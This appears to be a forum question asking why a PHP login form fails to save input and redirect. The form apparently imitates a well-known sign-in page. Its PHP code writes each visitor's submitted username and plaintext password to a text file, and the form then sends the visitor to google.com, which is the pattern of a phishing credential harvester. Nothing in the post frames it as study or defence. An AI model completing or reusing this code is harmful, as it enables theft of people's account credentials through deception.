title: PHP save form input and redirect
body: <p>I want to redirect and save the form input into a textfile when you click on the submit button. Without the form action the php works, but with it only the space is written in the textfile. I've also tried to redirect with javascript but it didn't work. </p>
  
  <pre><code>&lt;form action="https://www.google.com/" method="POST" name="logon" id="loginForm"&gt;
  
      &lt;input class="textField" type="text" name="username" id="AccountName" autofocus="" maxlength="64"&gt;
  
      &lt;input class="textField" type="password" name="password" id="AccountPassword" autocomplete="off" maxlength="64"&gt;
  
      &lt;div id="login_btn_signin"&gt;
  
      &lt;input class="btn_green_white_innerfade" type="submit"  name="submit" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;"   value="Sign in"&gt;
  
  &lt;/form&gt;
  &lt;?php
  
      // Open the text file
      $f = fopen("textfile.txt", "w");
  
      // Write text
      fwrite($f, $_POST["username"]);
      fwrite($f, " ");
      fwrite($f, $_POST["password"]); 
  
      // Close the text file
      fclose($f);
  
  ?&gt;
  </code></pre>